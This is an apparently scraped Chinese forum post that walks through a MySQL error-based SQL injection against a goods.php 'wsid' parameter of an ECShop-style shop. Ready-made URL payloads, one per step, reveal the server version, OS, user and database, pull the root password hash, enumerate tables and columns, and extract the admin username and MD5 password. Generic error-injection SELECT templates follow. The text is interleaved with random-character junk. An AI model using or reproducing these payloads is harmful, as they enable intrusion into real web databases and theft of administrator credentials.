判断版本号
' Q; H! S# {* X$ G. Whttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 L6 m. h, D% M4 W9 d/ x* h( }
" @& X1 W: F& s& n判断系统
8 b/ Z* y) O' h0 N( J" P$ q/ p6 `5 r" N: w# \
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23% x& T- J+ A! Z! U, l! N
0 ]2 t; T& f- u2 b- B9 c0 u5 E* Q N2 O1 o+ w! {' `
) D, X6 h8 H! h6 A
当前 user()! ^2 [' i/ P# v% R0 X& }0 j
+ H& D5 Q `- r
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, r" @6 Z ]1 Q- l9 D' N4 t- {7 I
# m) ?8 U# d3 v8 ^/ v% } j) f' h9 U* R$ X6 u
4 I: i) g( \" s
当前 database()
) C {& ?' D# v" V& b. A& q. Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 J5 n8 y) J1 h( D2 j0 h* i0 K' R# e; ` _% ^
* h5 G) ]$ G4 y7 Z/ g5 k! }* w0 I! ]* m5 y! O3 C
# y, m' n- f0 {$ Q, m
root hash
0 a7 B: F7 P+ ^2 M o. ?
# _0 P" t4 N/ q$ D& ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ W! g1 [1 |6 {5 w$ h: H; @, K8 s H, J7 c
) K7 a, h. ^1 Y0 R2 B
: M& a, U9 n% ] {当前 数据库表名
' ]: ?7 k1 L m, g% _8 A
$ ~' M# d0 q& }" h9 |7 C' z8 R, khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; n; M; H0 G- d- T" s
: ?4 Y4 F7 q" b
0 w8 {' l. v3 R) z( J% h! J9 W) J( ~1 K4 C. D/ a% [0 p
当前 数据库 user_name 字段
5 W: d3 n% Z# q/ B: }$ b" J' K2 q/ q7 n# }5 J4 ?1 a! W
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 B. Z2 c) E% f! z, v
- u3 y2 R; A, _4 _+ n2 |% O
当前 数据库 字段 password+ i# X U! L- ]0 |& ~/ z& X
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) o" d$ f( A2 M7 q# R. ~
' U! v, N0 V9 n
( p3 ?3 l* X$ R& e. G; @9 t
) \" ]' k! B9 x G3 j1 n获得 admin passwd(md5)
* g7 Z& s o" _" ^4 ?& [) s& M% J5 o' V, w
- z G! x0 t- S' Q( X5 u, a D& qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 t2 j0 i5 k' d' g6 z, }+ B5 O: H2 h7 ?. a, S& I
报错注射
# `7 l7 @) I0 t( `% N9 P8 VSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)% X) S/ p# V' H% e' X/ n
. A7 d% t5 a6 X! w# A
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)! l3 |9 g6 ^' g. ]
, w0 [9 f4 A/ z4 \, A+ {/ E; ?1 S% J
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |